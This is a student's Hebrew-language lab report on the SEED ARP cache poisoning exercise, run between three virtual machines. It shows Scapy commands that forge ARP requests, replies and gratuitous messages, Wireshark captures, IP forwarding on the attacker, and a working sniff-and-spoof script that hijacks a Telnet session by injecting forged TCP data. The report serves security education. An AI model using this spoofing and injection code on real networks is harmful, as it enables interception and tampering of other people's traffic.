

עבודת הגשה באבטחת רשתות ומרשתת

ARP Cache Poisoning Attack

מגיש: דוד סידון

Task 1: ARP Cache Poisoning:

נתוני מחשב A:



```
[04/22/20]seed@computerA:~$ ifconfig
ens33  Link encap:Ethernet  HWaddr 00:0c:29:36:3e:96
       inet addr:192.168.174.137  Bcast:192.168.174.255  Mask:255.255.255.0
       inet6 addr: fe80::e82f:c951:59b3:1a6c/64 Scope:Link
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:272 errors:0 dropped:0 overruns:0 frame:0
       TX packets:218 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:68014 (68.0 KB)  TX bytes:27701 (27.7 KB)
       Interrupt:19 Base address:0x2000

lo      Link encap:Local Loopback
       inet addr:127.0.0.1  Mask:255.0.0.0
       inet6 addr: ::1/128 Scope:Host
       UP LOOPBACK RUNNING  MTU:65536  Metric:1
       RX packets:1382 errors:0 dropped:0 overruns:0 frame:0
       TX packets:1382 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1
       RX bytes:87437 (87.4 KB)  TX bytes:87437 (87.4 KB)

[04/22/20]seed@computerA:~$
```

נתוני מחשב B:



```
[04/22/20]seed@computerB:~$ ifconfig
ens33  Link encap:Ethernet  HWaddr 00:0c:29:2c:12:4c
       inet addr:192.168.174.138  Bcast:192.168.174.255  Mask:255.255.255.0
       inet6 addr: fe80::97c0:8dfc:e83f:9ca1/64 Scope:Link
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:244 errors:0 dropped:0 overruns:0 frame:0
       TX packets:217 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:63529 (63.5 KB)  TX bytes:27655 (27.6 KB)
       Interrupt:19 Base address:0x2000

lo      Link encap:Local Loopback
       inet addr:127.0.0.1  Mask:255.0.0.0
       inet6 addr: ::1/128 Scope:Host
       UP LOOPBACK RUNNING  MTU:65536  Metric:1
       RX packets:1452 errors:0 dropped:0 overruns:0 frame:0
       TX packets:1452 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1
       RX bytes:99074 (99.0 KB)  TX bytes:99074 (99.0 KB)

[04/22/20]seed@computerB:~$
```

נתוני מחשב התוקף M:



```
[04/22/20]seed@attacker:~$ ifconfig
ens33  Link encap:Ethernet  HWaddr 00:0c:29:f9:cd:51
       inet addr:192.168.174.130  Bcast:192.168.174.255  Mask:255.255.255.0
       inet6 addr: fe80::a3dd:e4a9:207f:9891/64 Scope:Link
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:85 errors:0 dropped:0 overruns:0 frame:0
       TX packets:144 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:40250 (40.2 KB)  TX bytes:14175 (14.1 KB)
       Interrupt:19 Base address:0x2000

lo      Link encap:Local Loopback
       inet addr:127.0.0.1  Mask:255.0.0.0
       inet6 addr: ::1/128 Scope:Host
       UP LOOPBACK RUNNING  MTU:65536  Metric:1
       RX packets:130 errors:0 dropped:0 overruns:0 frame:0
       TX packets:130 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1
       RX bytes:27294 (27.2 KB)  TX bytes:27294 (27.2 KB)

[04/22/20]seed@attacker:~$
```

Task 1A (using ARP request):

```
>>> from scapy.all import *
>>> e=Ether()
>>> a=ARP()
>>> e.dst="00:0c:29:36:3e:96"
>>> a.pdst="192.168.174.137"
>>> a.psrc="192.168.174.138"
>>> a.op=1
>>> pkt=e/a
>>> sendp(pkt)
.
Sent 1 packets.
>>> █
```

במחשב התוקף M יצרתי חבילת ARP request
ושלחתי אותה למחשב A שלכאורה נשלחה
ממחשב B:

החבילה היא מסוג request מכיוון של-attribute
של a הנקראת op ייושם הערך 1.

תיעוד חבילת ה-request שנשלחה אליו במחשב A על ידי Wireshark:

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-04-22 16:4...	Vmware_f9:cd:51	Vmware_36:3e:96	ARP	60	who has 192.168.174.137? Tell 192.168.174.138
2	2020-04-22 16:4...	Vmware_36:3e:96	Vmware_f9:cd:51	ARP	42	192.168.174.137 is at 00:0c:29:36:3e:96

```
▶ Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
▶ Ethernet II, Src: Vmware_f9:cd:51 (00:0c:29:f9:cd:51), Dst: Vmware_36:3e:96 (00:0c:29:36:3e:96)
▶ Address Resolution Protocol (request)
```

בטבלת ה-ARP cache במחשב A מופיעה כתובת ה-MAC של מחשב התוקף M צמוד לכתובת ה-IP של מחשב B.

Address	Hwtype	Hwaddress	Flags	Mask	Iface
192.168.174.254		(incomplete)			ens33
192.168.174.138	ether	00:0c:29:f9:cd:51	C		ens33
192.168.174.2	ether	00:50:56:f1:b5:79	C		ens33

```
[04/22/20]seed@computerA:~$ █
```

Task 1B (using ARP reply):

```
>>> from scapy.all import *
>>> e=Ether()
>>> a=ARP()
>>> e.dst="00:0c:29:36:3e:96"
>>> a.pdst="192.168.174.137"
>>> a.psrc="192.168.174.138"
>>> a.op=2
>>> pkt=e/a
>>> sendp(pkt)
.
Sent 1 packets.
>>>
```

במחשב התוקף M יצרתי חבילת ARP reply
ושלחתי אותה למחשב A שלכאורה נשלחה
ממחשב B:

החבילה היא מסוג reply מכיוון של-attribute של
a הנקראת op ייושם הערך 2.

תיעוד החבילה שנשלחה במחשב A אליו על ידי Wireshark:

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-04-22 16:5	Vmware_f9:cd:51	Vmware_36:3e:96	ARP	60	192.168.174.138 is at 00:0c:29:f9:cd:51

▶ Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
▶ Ethernet II, Src: Vmware_f9:cd:51 (00:0c:29:f9:cd:51), Dst: Vmware_36:3e:96 (00:0c:29:36:3e:96)
▶ Address Resolution Protocol (reply)

בטבלת ה-ARP cache במחשב A מופיעה כתובת ה-MAC של מחשב התוקף M צמוד לכתובת ה-IP של מחשב B.

```
[04/22/20]seed@computerA:~$ arp
Address          HWtype  HWaddress           Flags Mask          Iface
192.168.174.254   (incomplete)
192.168.174.138   ether    00:0c:29:f9:cd:51    C                   ens33
192.168.174.2     ether    00:50:56:f1:b5:79    C                   ens33
[04/22/20]seed@computerA:~$
```

Task 1C (using ARP gratuitous message):

```
>>> from scapy.all import *
>>> e=Ether()
>>> a=ARP()
>>> e.dst="ff:ff:ff:ff:ff:ff"
>>> a.pdst="192.168.174.138"
>>> a.psrc="192.168.174.138"
>>> a.hwdst="ff:ff:ff:ff:ff:ff"
>>> a.op=1
>>> pkt=e/a
>>> sendp(pkt)
.
Sent 1 packets.
>>>
```

במחשב התוקף M יצרתי את החבילה שמעדכנת
לכאורה את ה-ARP cache שנמצא במחשב A:

ניתן לראות שכתובת היעד והמקור הן זהות והן
שייכות למחשב B. הסיבה לכך היא שהתוקף
מעמיד פנים שמחשב B ביצע את הבקשה לעדכון
ה-ARP cache. בנוסף, ניתן לראות שכתובת MAC
היעד של ה-ARP header ושל ה-Ether header הן
זהות והן כתובת ה-broadcast.

תיעוד שליחת ה-ARP Gratuitous packet של מחשב A ב-Wireshark:

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-04-22 17:2...	Vmware_f9:cd:51	Broadcast	ARP	60	Gratuitous ARP for 192.168.174.138 (Request)

▶ Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
▶ Ethernet II, Src: Vmware_f9:cd:51 (00:0c:29:f9:cd:51), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
▶ Address Resolution Protocol (request/gratuitous ARP)

ה-ARP cache במחשב A לאחר שליחת החבילה:

Address	Hwtype	Hwaddress	Flags	Mask	Iface
192.168.174.254		(incomplete)			ens33
192.168.174.138	ether	00:0c:29:f9:cd:51	C		ens33
192.168.174.2	ether	00:50:56:f1:b5:79	C		ens33

[04/22/20]seed@computerA:~\$

Task 2: MITM Attack on Telnet using ARP Cache Poisoning:

צעד 1: נרעיל את ה-ARP cache של מחשב A ושל מחשב B.

הרעלת מחשב A:

```
>>> from scapy.all import *
>>> e=Ether()
>>> a=ARP()
>>> e.dst="00:0c:29:36:3e:96"
>>> a.pdst="192.168.174.137"
>>> a.psrc="192.168.174.138"
>>> a.op=1
>>> pkt=e/a
>>> sendp(pkt)
.
Sent 1 packets.
>>>
```

ה-ARP cache של מחשב A לאחר ההרעלה:

Address	Hwtype	Hwaddress	Flags	Mask	Iface
192.168.174.254		(incomplete)			ens33
192.168.174.138	ether	00:0c:29:f9:cd:51	C		ens33
192.168.174.2	ether	00:50:56:f1:b5:79	C		ens33

[04/22/20]seed@computerA:~\$

הרעלת מחשב B:

```
>>> from scapy.all import *
>>> e=Ether()
>>> a=ARP()
>>> e.dst="00:0c:29:2c:12:4c"
>>> a.pdst="192.168.174.138"
>>> a.psrc="192.168.174.137"
>>> a.op=1
>>> pkt=e/a
>>> sendp(pkt)
.
Sent 1 packets.
```

ה-ARP cache של מחשב B לאחר ההרעלה:

Address	Hwtype	Hwaddress	Flags	Mask	Iface
192.168.174.254		(incomplete)			ens33
192.168.174.2	ether	00:50:56:f1:b5:79	C		ens33
192.168.174.137	ether	00:0c:29:f9:cd:51	C		ens33

[04/22/20]seed@computerB:~\$

עוד 2: נבצע Testing.

נעביר pings מ-A ל-B:

ניתן לראות ששליחת ה-pings לא התבצעה מיד, אלא כעבור מספר שניות. הפינג הראשון שהצליח להישלח הוא מספר 10.

נאבדו 64% מהחבילות.

ה-Wireshark של מחשב A לאחר השליחה:

ניתן להבין מה-Wireshark שכל החבילות עד לחבילה מספר 9 נזרקו, מכיוון שלא הייתה תגובה ממחשב B. הסיבה לכך שלא הייתה תגובה היא שמחשב התוקף M לא אפשר העברה של חבילות.

ניתן לראות שתוך כדי שחבילות לא מצליחות להישלח, מחשב A מבין שמהשו לא תקני ולכן מתחיל לשאול את מחשב B את הכתובת MAC שלה ללא מענה (אין מענה מכיוון שהוא שואל בעצם את מחשב התוקף), ואז הוא שולח הודעת broadcast שממנה מתקבלת תשובה לכתובת ה-MAC האמתית של מחשב B.

החל מהחבילה מספר 10, למחשב A יש את הכתובת MAC האמתית של מחשב B ולכן שליחת ה-pings מצליחה.

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=1/256, ttl=64 (no response found!)
2	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=2/512, ttl=64 (no response found!)
3	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=3/768, ttl=64 (no response found!)
4	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=4/1024, ttl=64 (no response found!)
5	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=5/1280, ttl=64 (no response found!)
6	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=6/1536, ttl=64 (no response found!)
7	2020-04-22 18:4...	Vmware_f9:cd:51	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.138? Tell 192.168.174.137
8	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=7/1792, ttl=64 (no response found!)
9	2020-04-22 18:4...	Vmware_f9:cd:51	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.138? Tell 192.168.174.137
10	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=8/2048, ttl=64 (no response found!)
11	2020-04-22 18:4...	Vmware_f9:cd:51	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.138? Tell 192.168.174.137
12	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=9/2304, ttl=64 (no response found!)
13	2020-04-22 18:4...	Vmware_36:3e:96	Broadcast	ARP	42	Who has 192.168.174.138? Tell 192.168.174.137
14	2020-04-22 18:4...	Vmware_36:3e:96	Vmware_36:3e:96	ARP	60	192.168.174.138 is at 00:0c:29:2c:12:4c
15	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=10/2560, ttl=64 (reply in 16)
16	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) reply id=0x138c, seq=10/2560, ttl=64 (request in 15)
17	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=11/2816, ttl=64 (reply in 18)
18	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) reply id=0x138c, seq=11/2816, ttl=64 (request in 17)
19	2020-04-22 18:4...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x138c, seq=12/3072, ttl=64 (reply in 20)
20	2020-04-22 18:4...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x138c, seq=12/3072, ttl=64 (request in 19)

אותו הדבר מתרחש גם אצל מחשב B.

```
[04/22/20]seed@computerB:~$ ping 192.168.174.137
PING 192.168.174.137 (192.168.174.137) 56(84) bytes of data.
64 bytes from 192.168.174.137: icmp_seq=9 ttl=64 time=1.38 ms
64 bytes from 192.168.174.137: icmp_seq=10 ttl=64 time=0.690 ms
64 bytes from 192.168.174.137: icmp_seq=11 ttl=64 time=0.658 ms
64 bytes from 192.168.174.137: icmp_seq=12 ttl=64 time=0.694 ms
^C
--- 192.168.174.137 ping statistics ---
12 packets transmitted, 4 received, 66% packet loss, time 11212ms
rtt min/avg/max/mdev = 0.658/0.857/1.388/0.307 ms
[04/22/20]seed@computerB:~$
```

שליחת ה-pings ממחשב B למחשב A:

נאבדו 66% מהחבילות.

ה-Wireshark של מחשב B לאחר השליחה:

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-04-22 19:31:59.4632887...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=1/256, ttl=64 (no response found!)
2	2020-04-22 19:32:00.4678158...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=2/512, ttl=64 (no response found!)
3	2020-04-22 19:32:01.4313217...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=3/768, ttl=64 (no response found!)
4	2020-04-22 19:32:02.4556404...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=4/1024, ttl=64 (no response found!)
5	2020-04-22 19:32:03.4789700...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=5/1280, ttl=64 (no response found!)
6	2020-04-22 19:32:04.4398518...	Vmware_2c:12:4c	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.137? Tell 192.168.174.138
7	2020-04-22 19:32:04.5639125...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=6/1536, ttl=64 (no response found!)
8	2020-04-22 19:32:05.4636608...	Vmware_2c:12:4c	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.137? Tell 192.168.174.138
9	2020-04-22 19:32:05.5275747...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=7/1792, ttl=64 (no response found!)
10	2020-04-22 19:32:06.4871435...	Vmware_2c:12:4c	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.137? Tell 192.168.174.138
11	2020-04-22 19:32:06.5599791...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=8/2048, ttl=64 (no response found!)
12	2020-04-22 19:32:07.5755485...	Vmware_2c:12:4c	Broadcast	ARP	42	Who has 192.168.174.137? Tell 192.168.174.138
13	2020-04-22 19:32:07.5762399...	Vmware_36:3e:96	Vmware_2c:12:4c	ARP	60	192.168.174.137 is at 00:0c:29:36:3e:96
14	2020-04-22 19:32:07.5762507...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=9/2304, ttl=64 (reply in 15)
15	2020-04-22 19:32:07.5769028...	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) reply id=0x1380, seq=9/2304, ttl=64 (request in 14)
16	2020-04-22 19:32:08.5777973...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=10/2560, ttl=64 (reply in 17)
17	2020-04-22 19:32:08.5784641...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x1380, seq=10/2560, ttl=64 (request in 16)
18	2020-04-22 19:32:09.5918318...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=11/2816, ttl=64 (reply in 19)
19	2020-04-22 19:32:09.5924644...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x1380, seq=11/2816, ttl=64 (request in 18)
20	2020-04-22 19:32:10.6158046...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) request id=0x1380, seq=12/3072, ttl=64 (reply in 21)
21	2020-04-22 19:32:10.6164728...	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x1380, seq=12/3072, ttl=64 (request in 20)

צעד 3: נפעיל את ה-forwarding.

הפעלת ה-forwarding במחשב M:

```
[04/22/20]seed@attacker:~$ sudo sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
[04/22/20]seed@attacker:~$
```

נחזור על צעד 2 במחשב A ובמחשב B.

```
[04/22/20]seed@computerA:~$ ping 192.168.174.138
PING 192.168.174.138 (192.168.174.138) 56(84) bytes of data.
From 192.168.174.130: icmp_seq=1 Redirect Host(New nexthop: 192.168.174.138)
64 bytes from 192.168.174.138: icmp_seq=1 ttl=63 time=1.09 ms
From 192.168.174.130: icmp_seq=2 Redirect Host(New nexthop: 192.168.174.138)
64 bytes from 192.168.174.138: icmp_seq=2 ttl=63 time=0.671 ms
From 192.168.174.130: icmp_seq=3 Redirect Host(New nexthop: 192.168.174.138)
64 bytes from 192.168.174.138: icmp_seq=3 ttl=63 time=1.32 ms
From 192.168.174.130: icmp_seq=4 Redirect Host(New nexthop: 192.168.174.138)
64 bytes from 192.168.174.138: icmp_seq=4 ttl=63 time=1.24 ms
From 192.168.174.130: icmp_seq=5 Redirect Host(New nexthop: 192.168.174.138)
64 bytes from 192.168.174.138: icmp_seq=5 ttl=63 time=1.23 ms
From 192.168.174.130: icmp_seq=6 Redirect Host(New nexthop: 192.168.174.138)
64 bytes from 192.168.174.138: icmp_seq=6 ttl=63 time=1.23 ms
^C
--- 192.168.174.138 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5020ms
rtt min/avg/max/mdev = 0.671/1.133/1.324/0.221 ms
[04/22/20]seed@computerA:~$
```

לאחר ביצוע ה-forwarding
במחשב התוקף M, ניתן לראות
שהחבילות ממחשב A למחשב B
עוברות ללא הפרעה ואיבוד.

ה-Wireshark של מחשב A לאחר השליחה:

ניתן לראות שכל החבילות עוברות ומקבלות מענה reply לאחר ביצוע redirect ממחשב התוקף M.

אותו הדבר מתרחש גם כשמחשב B שולח pings למחשב A.

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=1/256, ttl=64 (no response found!)
2	2020-04-22 19:4..	Vmware_f9:cd:51	Broadcast	ARP	60	Who has 192.168.174.137? Tell 192.168.174.130
3	2020-04-22 19:4..	Vmware_36:3e:96	Vmware_f9:cd:51	ARP	42	192.168.174.137 is at 00:0c:29:36:3e:96
4	2020-04-22 19:4..	Vmware_f9:cd:51	Broadcast	ARP	60	Who has 192.168.174.138? Tell 192.168.174.130
5	2020-04-22 19:4..	Vmware_2c:12:4c	Vmware_f9:cd:51	ARP	60	192.168.174.138 is at 00:0c:29:2c:12:4c
6	2020-04-22 19:4..	192.168.174.130	192.168.174.137	ICMP	126	Redirect (Redirect for host)
7	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=1/256, ttl=63 (reply in 8)
8	2020-04-22 19:4..	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x140d, seq=1/256, ttl=64 (request in 7)
9	2020-04-22 19:4..	192.168.174.130	192.168.174.138	ICMP	126	Redirect (Redirect for host)
10	2020-04-22 19:4..	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x140d, seq=1/256, ttl=63
11	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=2/512, ttl=64 (no response found!)
12	2020-04-22 19:4..	192.168.174.130	192.168.174.137	ICMP	126	Redirect (Redirect for host)
13	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=2/512, ttl=63 (reply in 14)
14	2020-04-22 19:4..	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x140d, seq=2/512, ttl=64 (request in 13)
15	2020-04-22 19:4..	192.168.174.130	192.168.174.138	ICMP	126	Redirect (Redirect for host)
16	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) reply id=0x140d, seq=2/512, ttl=63
17	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=3/768, ttl=64 (no response found!)
18	2020-04-22 19:4..	192.168.174.130	192.168.174.137	ICMP	126	Redirect (Redirect for host)
19	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=3/768, ttl=63 (reply in 20)
20	2020-04-22 19:4..	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x140d, seq=3/768, ttl=64 (request in 19)
21	2020-04-22 19:4..	192.168.174.130	192.168.174.138	ICMP	126	Redirect (Redirect for host)
22	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) reply id=0x140d, seq=3/768, ttl=63
23	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=4/1024, ttl=64 (no response found!)
24	2020-04-22 19:4..	192.168.174.130	192.168.174.137	ICMP	126	Redirect (Redirect for host)
25	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=4/1024, ttl=63 (reply in 26)
26	2020-04-22 19:4..	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x140d, seq=4/1024, ttl=64 (request in 25)
27	2020-04-22 19:4..	192.168.174.130	192.168.174.138	ICMP	126	Redirect (Redirect for host)
28	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) reply id=0x140d, seq=4/1024, ttl=63
29	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=5/1280, ttl=64 (no response found!)
30	2020-04-22 19:4..	192.168.174.130	192.168.174.137	ICMP	126	Redirect (Redirect for host)
31	2020-04-22 19:4..	192.168.174.137	192.168.174.138	ICMP	98	Echo (ping) request id=0x140d, seq=5/1280, ttl=63 (reply in 32)
32	2020-04-22 19:4..	192.168.174.138	192.168.174.137	ICMP	98	Echo (ping) reply id=0x140d, seq=5/1280, ttl=64 (request in 31)
33	2020-04-22 19:4..	192.168.174.130	192.168.174.138	ICMP	126	Redirect (Redirect for host)

צעד 4: ביצוע מתקפת MITM.

לאחר שביצענו ARP cache Poisoning attack למחשב A ולמחשב B, נבצע forwarding במחשב C:

```
[04/22/20]seed@attacker:~$ sudo sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
[04/22/20]seed@attacker:~$
```

נבצע חיבור Telnet ממחשב A אל מחשב B:

```
[04/22/20]seed@computerA:~$ telnet 192.168.174.138
Trying 192.168.174.138...
Connected to 192.168.174.138.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
computerB login: seed
Password:
Last login: Tue Apr 21 12:27:02 EDT 2020 from 192.168.174.137 on pts/18
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

[04/22/20]seed@computerB:~$
```

לאחר שחיבור ה-Telnet התבצע בהצלחה, נפסיק את ה-forwarding במחשב C:

```
[04/22/20]seed@attacker:~$ sudo sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
[04/22/20]seed@attacker:~$
```

ה-Wireshark לאחר שנסינו להקליד כמה דברים ב-Telnet במחשב A:

ניתן לראות שלאחר מספר של הקשות, מחשב A מבין שמשהו לא תקין ומנסה לשאול את מחשב B מה כתובת ה-MAC שלו ללא מענה (אין מענה מכיוון שמחשב A שואל בעצם את מחשב M), ואז הוא שולח הודעת broadcast שלאחריה הוא מקבל את הכתובת ה-MAC האמתית של B. לאחר מכן, מתנהל חיבור Telnet תקני בין מחשב A למחשב B.

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TELNET	67	Telnet Data ...
2	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TELNET	67	Telnet Data ...
3	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TCP	68	[TCP Retransmission] 45554 → 23 [PSH, ACK] Seq=482182487 Ack=735472526 Win=237 Len=2 TSval=3110.
4	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TCP	68	[TCP Retransmission] 45554 → 23 [PSH, ACK] Seq=482182487 Ack=735472526 Win=237 Len=2 TSval=3121.
5	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TCP	68	[TCP Retransmission] 45554 → 23 [PSH, ACK] Seq=482182487 Ack=735472526 Win=237 Len=2 TSval=3143.
6	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TCP	68	[TCP Retransmission] 45554 → 23 [PSH, ACK] Seq=482182487 Ack=735472526 Win=237 Len=2 TSval=3185.
7	2020-04-22 20:2...	Vmware_36:3e:96	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.138? Tell 192.168.174.137
8	2020-04-22 20:2...	Vmware_36:3e:96	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.138? Tell 192.168.174.137
9	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TCP	68	[TCP Retransmission] 45554 → 23 [PSH, ACK] Seq=482182487 Ack=735472526 Win=237 Len=2 TSval=3270.
10	2020-04-22 20:2...	Vmware_36:3e:96	Vmware_f9:cd:51	ARP	42	Who has 192.168.174.138? Tell 192.168.174.137
11	2020-04-22 20:2...	Vmware_36:3e:96	Broadcast	ARP	42	Who has 192.168.174.138? Tell 192.168.174.137
12	2020-04-22 20:2...	Vmware_2c:12:4c	Vmware_36:3e:96	ARP	60	192.168.174.138 is at 00:0c:29:2c:12:4c
13	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TCP	68	[TCP Retransmission] 45554 → 23 [PSH, ACK] Seq=482182487 Ack=735472526 Win=237 Len=2 TSval=3443.
14	2020-04-22 20:2...	192.168.174.138	192.168.174.137	TELNET	68	Telnet Data ...
15	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TELNET	69	Telnet Data ...
16	2020-04-22 20:2...	192.168.174.138	192.168.174.137	TELNET	69	Telnet Data ...
17	2020-04-22 20:2...	192.168.174.137	192.168.174.138	TCP	66	45554 → 23 [ACK] Seq=482182492 Ack=735472531 Win=237 Len=0 TSval=34443 TSecr=33459

מכיוון שה-ARP cache של מחשב A עודכן, נבצע את צעד 4 מחדש עד להפסקת ה-forwarding ומשם נפעיל את קטע הקוד של ה-spoofing במחשב התוקף M:

ניתן לראות בקטע הקוד שקיימות 2 סיטואציות - הראשונה היא שהודעה נשלחה ממחשב A אל מחשב B שבה נשנה את תוכן החבילה ל-'Z' והשנייה היא שנשלחה הודעה ממחשב B אל מחשב A שבה לא נשנה את תוכן החבילה.

```
from scapy.all import *

def spoof_pkt(pkt):
    if (pkt[Ether].src == '00:0c:29:36:3e:96' and pkt[IP].src == "192.168.174.137" and pkt[IP].dst == "192.168.174.138" and pkt[TCP].flags != 0x10) :
        print("Original Packet. ")
        print("Source IP : ", pkt[IP].src)
        print("Destination IP :", pkt[IP].dst)

        a = IP(src = "192.168.174.138", dst = "192.168.174.137")
        b = TCP(sport = pkt[IP].dport, dport = pkt[IP].sport, flags = 0x18, seq = pkt[TCP].ack, ack = pkt[TCP].seq + len(pkt[TCP].payload))
        data = 'Z'
        newpkt = a/b/data

        print("Spoofed Packet. ")
        print("Source IP : ", newpkt[IP].src)
        print("Destination IP :", newpkt[IP].dst)
        send(newpkt)

    elif pkt[Ether].src == "00:0c:29:2c:12:4c" and pkt[IP].src == "192.168.174.138" and pkt[IP].dst == "192.168.174.137" :
        a = IP(src = "192.168.174.137", dst = "192.168.174.138")
        b = TCP(sport = pkt[IP].dport, dport = pkt[IP].sport, flags = 0x18, seq = pkt[TCP].ack, ack = pkt[TCP].seq + len(pkt[TCP].payload))
        data = pkt[TCP].payload
        newpkt = a/b/data
        send(newpkt)

pkt = sniff(filter = 'tcp', prn=spoof_pkt)
```

כעת נקליד תווים רנדומליים בחלון של A. ניתן לראות שכל התווים שמופיעים בחלון של A הם לא מה שהוקלדו אלא התו 'Z'.

```
[04/23/20]seed@computerA:~$ telnet 192.168.174.138
Trying 192.168.174.138...
Connected to 192.168.174.138.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
computerB login: seed
Password:
